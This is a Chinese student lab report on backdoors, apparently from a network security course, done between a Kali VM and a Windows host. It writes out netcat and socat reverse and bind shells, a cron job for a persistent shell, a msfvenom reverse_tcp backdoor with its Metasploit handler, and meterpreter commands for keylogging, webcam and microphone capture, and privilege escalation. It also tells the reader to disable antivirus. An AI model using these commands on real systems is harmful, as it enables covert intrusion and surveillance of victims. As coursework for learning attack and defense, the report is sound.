20201306 Exp2 后门原理与实践
一、实验准备
1、实验要求
使用netcat获取主机操作Shell,cron启动
使用socat获取主机操作Shell, 任务计划启动
使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
2、后门
后门就是不经过正常认证流程而访问系统的通道。
后门程序一般是指那些绕过安全性控制而获取对程序或系统访问权的程序方法。在软件的开发阶段,程序员常常会在软件内创建后门程序以便可以修改程序设计中的缺陷。但是,如果这些后门被其他人知道,或是在发布软件之前没有删除后门程序,那么它就成了安全风险,容易被黑客当成漏洞进行攻击。
后门 vs 木马
联系在于:都是隐藏在用户系统中向外发送信息,而且本身具有一定权限,以便远程机器对本机的控制。
区别在于:木马是一个完整的软件,而后门则体积较小且功能都很单一。后门程序类似于特洛伊木马(简称"木马"),其用途在于潜伏在电脑中,从事搜集信息或便于黑客进入的动作。
3、常用的后门工具
1. ncat
ncat是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
Windows获取kali的shell
在Windows中查看本机IP地址为 192.168.31.28
Windows中使用ncat打开监听 ncat.exe -l -p 1306
在kali中反弹链接Windows ncat 192.168.31.28 1306 -e /bin/sh
, -e
用于执行shell
Windows成功获得了kali的shell
kali获得Windows的shell
kali中查看本机ip地址为 192.168.56.101
kali中开启监听 nc -l -p 1306
Windows中反弹链接kali ncat.exe -e cmd.exe 192.168.56.101 1306
kali成功获得了Windows的shell
kali向Windows中传输文件
Windows中通过 ncat.exe -l 1306 > file.out
监听1306端口,将收到的内容存储在 file.out 中
kali反弹链接Windows的1306端口 nc 192.168.31.28 1306 < file.in
通过 type file.out
在Windows中查看接收到的内容
通过 cat file.in
在kali中查看发送的内容
Windows向kali中传输文件
kali中通过 nc -l -p 1306 > 20201306.txt
监听1306端口
Windows反弹连接linux的1306端口 ncat.exe 192.168.153.132 1306 < 1306.txt
, linux可以收到Windows发来的文件
这里更换了虚拟机的网络连接方式,由仅主机网络模式变为网络地址转换模式,因此虚拟机的IP地址发生变化。
查询的IP地址为 192.168.153.132
:
传输成功!!!
使用nc相互传输通信
Windows下监听1306 端口 ncat.exe -l 1306
kali反弹连接到Windows的1306端口 nc 192.168.31.28 1306
建立连接后,开始传输数据
2. socat
socat是一个多功能的网络工具,名字来由是” Socket CAT”,可以看作是netcat的N倍加强版,socat的官方网站:http://www.dest-unreach.org/socat/ 。
socat是一个两个独立数据通道之间的双向数据传输的继电器。这些数据通道包含文件、管道、设备(终端或调制解调器等)、插座(Unix,IP4,IP6 - raw,UDP,TCP)、SSL、SOCKS4客户端或代理CONNECT。
Socat支持广播和多播、抽象Unix sockets、Linux tun/tap、GNU readline 和 PTY。它提供了分叉、记录和进程间通信的不同模式。多个选项可用于调整socat和其渠道,Socat可以作为TCP中继(一次性或守护进程),作为一个守护进程基于socksifier,作为一个shell Unix套接字接口,作为IP6的继电器,或面向TCP的程序重定向到一个串行线。
socat的主要特点就是在两个数据流之间建立通道;且支持众多协议和链接方式:ip, tcp, udp, ipv6, pipe, exec, system, open, proxy, openssl, socket等。
3.Meterpreter
后门就是一个程序。
基本功能(基本的连接、执行指令),
扩展功能(如搜集用户信息、安装服务等功能),
编码模式,
运行平台,
以及运行参数
全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。
典型的平台就包括有:
intersect
Metaspolit的msfvenom指令
Veil-evasion
二、实验内容
1. 使用netcat获取主机操作Shell,cron启动
Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。
Windows下监听1306端口 ncat.exe -l -p 1306
。
kali中,通过 crontab -e
指令便捷定时任务, -e
表示编辑。第一次编辑时选择3。
在打开的文件最后一行添加 14* * * * /bin/netcat 192.168.31.28 1306 -e /bin/sh
,为了能迅速看到效果,将时间设置为了14分(从左至右参数一次为:分,小时,日,月,年),意思是在每个小时的第14分钟反向连接Windows主机的1306端口。
保存退出后配置即生效。可以通过crontab -l
来查看,-l
表示list。
在系统时间14:30时,在Windows可以获取kali的shell
2. 使用socat获取主机操作Shell, 任务计划启动
socat是ncat的增强版,它使用的格式是 socat [options] <address> <address> ,其中address是必选项,而options是可选项。
socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
在Windows中下载socat
此电脑点击右键选择管理,打开“计算机管理”
填写任务名称,并新建一个触发器
在操作->新建->程序或脚本中选择socat.exe文件的路径,在添加参数一栏填写tcp-listen:1306 exec:cmd.exe,pty,stderr
,这个命令的作用是把cmd.exe绑定到端口1306,同时把cmd.exe的stderr重定向到stdout上
创建完成之后,点击任务计划程序库,运行创建的任务
运行后
此时,在Kali环境下输入指令socat - tcp:192.168.31.28:1306
这里的第一个参数-代表标准的输入输出
第二个流连接到Windows主机的1306端口
此时可以发现已经成功获得了一个cmd shell
3. 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
在Kali上执行指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.153.132 LPORT=1306 -f exe > 20201306_backdoor.exe
IP地址为控制端IP,即kali的IP192.168.153.132
生成了后门程序:20201306_backdoor.exe
在windows上,通过ncat.exe -lv 1306> 20201306_backdoor.exe
指令将被控制主机进入接受文件模式, -lv
看到当前的连接状态
在Linux中执行 nc 192.168.31.28 1306 < 20201306_backdoor.exe
,注意这里的IP为被控主机IP,即WindowsIP
传送接收文件成功,在相应的文件夹下可以查看
在Kali上使用msfconsole指令进入msf控制台
输入use exploit/multi/handler使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp
,使用和生成后门程序时相同的payload
set LHOST 192.168.153.132
,这里是kali的IP,和生成后门程序时指定的IP相同
set LPORT 1306
,同样要使用相同的端口
show options
,查看详细信息
设置完成后,执行监听exploit
在Windows下运行后门程序 20201306_backdoor.exe ,运行前应提前关闭杀毒软件的防护
4. 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
使用record_mic
指令可以截获一段音频,使用 -d 设置录制时间,这里我选择设置时长为10s, -d 10
使用 webcam_snap
指令可以使用摄像头进行拍照
使用 keyscan_start
指令开始记录下击键的过程(需要在Windows中进行任意输入),使用 keyscan_dump 指令读取击键的记录
使用 screenshot
指令可以进行截屏
使用 getuid
指令查看当前用户
使用 getsystem
指令进行提权操作
三、基础问题回答
1. 列举你能想到的一个后门进入到你系统中的可能方式?
点击网页链接。
2. 例举你知道的后门如何启动起来(win及linux)的方式?
注入shellcode、木马、网络协议捆绑。
3. Meterpreter有哪些给你映像深刻的功能?
录音、录像、截图、键盘输入记录、修改权限等功能
4. 如何发现自己系统有没有被安装后门?
可以在终端中通过netstat命令查看有无异常开放的端口,通过杀毒软件对系统进行扫描和检测,定期检查自启动项中是否有新增的或者自己不知道的自启动项。
四、实践总结与体会
通过这次实验,我收获最大的地方就是我终于了解了早就有所耳闻得后门,也了解了后门的特点后门包括从简单到奇特,有很多的类型。简单的后门可能只是建立一个新的账号,或者接管一个很少使用的账号;复杂的后门可能会绕过系统的安全认证而对系统有安全存取权。例如一个login程序,当你输入特定的密码时,你就能以管理员的权限来存取系统。黑客可能使用密码破解一个或多个账号密码,黑客可能会建立一个或多个账号。一个黑客可以存取这个系统,黑客可能使用一些 技术或利用系统的某个漏洞来提升权限。黑客可能会对系统的配置文件进行小部分的修改,以降低系统的防卫性能。也可能会安装一个木马程序,使系统打开一个安全漏洞,以利于黑客完全掌握系统。通过实验,我对网络对抗产生了敬畏之心,学习之路还很长。